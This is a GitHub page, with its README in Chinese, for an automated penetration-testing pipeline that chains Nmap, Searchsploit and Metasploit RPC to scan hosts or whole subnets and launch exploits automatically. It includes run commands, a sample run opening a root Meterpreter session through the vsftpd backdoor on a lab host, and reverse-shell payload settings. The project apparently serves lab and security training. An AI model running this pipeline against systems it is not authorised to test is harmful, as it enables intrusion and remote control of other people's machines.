PIXELQUADRO07/AutoPwn-Scanner

GitHub: PIXELQUADRO07/AutoPwn-Scanner

将Nmap、Searchsploit和Metasploit整合为自动化渗透测试流水线的工具,可一键完成端口扫描、漏洞识别和漏洞利用尝试。

Stars: 0 | Forks: 0

Screenshot_20260506_215458 # 🔍 AutoPwn 扫描器 ![许可证](https://img.shields.io/badge/license-MIT-blue) ![Python](https://img.shields.io/badge/python-3.10%2B-blue) ![平台](https://img.shields.io/badge/platform-Kali%20%7C%20Parrot-darkgreen) ![状态](https://img.shields.io/badge/status-academic%20project-orange) ## 目录 - [概述](#overview) - [架构](#architecture) - [项目结构](#project-structure) - [需求](#requirements) - [安装](#installation) - [配置](#configuration) - [使用说明](#usage) - [数据库](#database) - [会话监控](#session-monitor) - [示例输出](#sample-output) - [扩展工具](#extending-the-tool) ## 概述 **AutoPwn Scanner** 是一个攻击性安全管道,将三个标准渗透测试工具集成到一个单一的自动化工作流中: | 阶段 | 工具 | 用途 | |-------|------|---------| | 1 | **Nmap** | 端口扫描 + 服务版本检测 | | 2 | **Searchsploit** | 公开漏洞利用查找(针对发现的服务)| | 3 | **Metasploit RPC** | 自动模块加载和漏洞利用尝试 | 每个结果都持久化到本地 **SQLite** 数据库,并且 Meterpreter 会话由后台监控线程实时通知。 ## 架构 ``` ┌──────────────────────────────────────────────────────────────┐ │ scanner_runner (C++) │ │ │ │ ┌──────────┐ ┌─────────────┐ ┌──────────────────┐ │ │ │ Nmap │───▶│ scan_IP.xml │───▶│ Searchsploit │ │ │ └──────────┘ └─────────────┘ └────────┬─────────┘ │ │ │ JSON │ └───────────────────────────────────────────────┼─────────────┘ │ ┌──────────────────────▼────────────┐ │ logic_mapper.py │ │ │ │ ┌────────────┐ ┌──────────────┐ │ │ │ NmapParser │ │ SSFilter │ │ │ └─────┬──────┘ └──────┬───────┘ │ │ └────────┬────────┘ │ │ ┌───────▼───────┐ │ │ │ MetasploitMgr │◀─msfrpcd │ │ └───────┬───────┘ │ │ ┌───────▼───────┐ │ │ │ SQLite DB │ │ │ └───────────────┘ │ │ │ │ ┌─────────────────────────────┐ │ │ │ MeterpreterMonitor (thread) │ │ │ └─────────────────────────────┘ │ └────────────────────────────────────┘ ``` ## 项目结构 ``` autopwn-scanner/ ├── scanner_runner.cpp # C++ runner: launches Nmap, Searchsploit, and Python ├── logic_mapper.py # Python core: XML parsing, MSF filter, RPC, monitor ├── db_report.py # Human-readable SQLite report ├── start_msfrpcd.sh # Helper script to start the Metasploit RPC daemon ├── config.ini.example # Configuration template (config.ini is in .gitignore) ├── requirements.txt # Python dependencies ├── results/ # Created at runtime (excluded from git) │ ├── scan_.xml │ ├── searchsploit_results.json │ └── scanner.db └── README.md ``` ## 需求 | 依赖项 | 最低版本 | 备注 | |------------|----------------|-------| | 操作系统 | Kali Linux / Parrot OS | 推荐;可在任何基于 Debian 的发行版上运行 | | Python | 3.10+ | 需要用于 `list[dict]` 类型提示 | | GCC/G++ | 9+ | 必须支持 `-std=c++17` | | Nmap | 7.80+ | 需包含 `vulners` 脚本 | | Metasploit Framework | 6.x | `msfconsole`、`msfrpcd` | | Searchsploit / ExploitDB | 任意版本 | `sudo apt install exploitdb` | ## 安装 ``` # 克隆仓库 git clone https://github.com//autopwn-scanner.git cd autopwn-scanner # 安装 Python 依赖 pip install -r requirements.txt # 编译 C++ 运行器 g++ -o scanner_runner scanner_runner.cpp -std=c++17 # 复制并自定义配置 cp config.ini.example config.ini nano config.ini ``` ## 配置 所有敏感设置都存放在 `config.ini` 中(永不提交到 Git): ``` [metasploit] password = change_this_password host = 127.0.0.1 port = 55553 [scanner] output_dir = ./results monitor_interval = 5 # seconds between each polling cycle post_pipeline_wait = 10 # extra seconds after pipeline for slow staged payloads [database] path = ./results/scanner.db ``` ## 使用说明 ### 步骤 1 — 启动 Metasploit RPC 守护进程 ``` # 在单独的终端中 bash start_msfrpcd.sh # 或手动 msfrpcd -P change_this_password -n -f -a 127.0.0.1 -p 55553 ``` ### 步骤 2 — 运行管道 ``` # 单个目标(需要 sudo 使用 Nmap 原始套接字) sudo ./scanner_runner 192.168.1.10 # CIDR 网络范围 sudo ./scanner_runner 192.168.1.0/24 ``` C++ 运行器按顺序执行: 1. `nmap -sV --script=vulners -oX results/scan_.xml ` 2. `searchsploit --nmap results/scan_.xml -j → results/searchsploit_results.json` 3. `python3 logic_mapper.py --xml ... --json ...` 在交互模式下,使用 `clear` 或 `cls` 重置终端屏幕。 ### 交互式 CLI 命令 在 `./scanner_runner` 交互模式下,您还可以使用: - `searchsploit ` — 对现有的 Nmap XML 文件或命名目标运行 Searchsploit。 - `exploit list [query]` — 列出 `msfconsole` 中的 Metasploit 漏洞利用模块。 - `exploit show [module]` — 显示所选漏洞利用或指定模块的详细信息。 - `exploit select ` — 选择一个模块以供后续执行。 - `exploit run [rport] [module]` — 执行所选或指定的漏洞利用模块。 - `msf list [query]` — `exploit list` 的别名。 ### 步骤 3 — 查看结果 ``` python3 db_report.py # 使用自定义数据库路径 python3 db_report.py ./results/scanner.db ``` ### `logic_mapper.py` 的高级选项 ``` python3 logic_mapper.py --xml --json [--monitor-interval SEC] --xml Path to the Nmap XML output file --json Path to the Searchsploit JSON output file --monitor-interval Seconds between session monitor polls (default: 5) ``` ## 数据库 位于 `results/scanner.db` 的 SQLite 数据库包含三个表: ``` Targets id · ip · hostname · os_info · scan_time Vulnerabilities id · target_id → Targets port · protocol · service · version exploit_name · exploit_path · has_msf · found_time Exploits_Found id · vuln_id → Vulnerabilities msf_module · rhost · rport session_id · success · attempt_time ``` 快速查询示例: ``` # 所有成功利用的漏洞 sqlite3 results/scanner.db \ "SELECT rhost, msf_module, session_id FROM Exploits_Found WHERE success=1;" # 有可用 MSF 模块的漏洞 sqlite3 results/scanner.db \ "SELECT t.ip, v.port, v.service, v.exploit_name FROM Vulnerabilities v JOIN Targets t ON v.target_id=t.id WHERE v.has_msf=1;" ``` ## 会话监控 `MeterpreterMonitor` 在整个管道运行期间作为守护线程运行。 当检测到新会话时,它会向 stdout 打印彩色横幅: ``` ╔══════════════════════════════════════════════╗ ║ ★ METERPRETER SESSION ║ ╠══════════════════════════════════════════════╣ ║ Session ID : 1 ║ ║ Target : 192.168.1.50 ║ ║ Type : meterpreter ║ ║ Platform : linux / x86_64 ║ ║ User : root ║ ║ Module : exploits/unix/ftp/vsftpd_234 ║ ║ Time : 14:32:07 ║ ╚══════════════════════════════════════════════╝ ``` | 会话类型 | 图标 | 颜色 | |---|---|---| | `meterpreter` | ★ | 绿色 | | `shell` | ✓ | 黄色 | | 其他 | ~ | 青色 | 会话会自动记录到数据库中,即使不是由管道直接启动的(例如并行运行的手动漏洞利用)。 ## 示例输出 ``` ============================================== Security Scanner Runner (C++) - Lab ============================================== [NMAP] Starting scan on: 192.168.1.50 [NMAP] XML output -> ./results/scan_192.168.1.50.xml [SEARCHSPLOIT] Parsing XML... [PYTHON-BRIDGE] Invoking logic_mapper.py ══════════════════════════════════════════════ LOGIC MAPPER – Pipeline started ══════════════════════════════════════════════ [MONITOR] Started. Polling every 5s. [DB] Connected to: ./results/scanner.db [PARSER] Hosts found: 1 [MSF] Connected to msfrpcd at 127.0.0.1:55553 [MAPPER] Host: 192.168.1.50 (metasploitable) OS: Linux 2.6.x ↳ Port 21/tcp: ftp vsftpd 2.3.4 → Attempting MSF: exploits/unix/ftp/vsftpd_234_backdoor [MSF] Launching: exploits/unix/ftp/vsftpd_234_backdoor → 192.168.1.50:21 ★ METERPRETER SESSION [ID: 1 | 192.168.1.50] ★ [MAPPER] Waiting 10s for delayed sessions... [MONITOR] Stopped. [MAPPER] Pipeline complete. Data saved to DB. ``` ## 扩展工具 **自定义 Nmap 标志** — 编辑 `scanner_runner.cpp` 中的 `NmapRunner::run()`: ``` // Full port scan with OS detection "nmap -A -p- --script=vulners -oX " + output_xml + " " + target ``` **不同的 Metasploit 有效负载** — 编辑 `MetasploitManager.run_exploit()`: ``` # 切换到无阶段 Windows x64 Meterpreter payload = self.client.modules.use("payload", "windows/x64/meterpreter_reverse_tcp") ``` **来自 MeterpreterMonitor 的外部通知** — 扩展 `_notify()`: ``` import requests requests.post("https://hooks.slack.com/...", json={"text": f"Session opened on {rhost}!"}) ``` **导出 JSON 格式报告**: ``` # 在 db_report.py 中,将 print() 替换为 json.dump() 以便机器可读输出 ```
标签:CISA项目, CTF工具, CTI, C++安全工具, Docker部署, Meterpreter, Nmap, PE 加载器, RPC利用, Searchsploit, SQLite数据库, 云存储安全, 内核监控, 授权测试, 插件系统, 无线安全, 渗透测试框架, 漏洞搜索, 网络安全, 网络扫描, 自动化渗透, 虚拟驱动器, 逆向工具, 防御, 隐私保护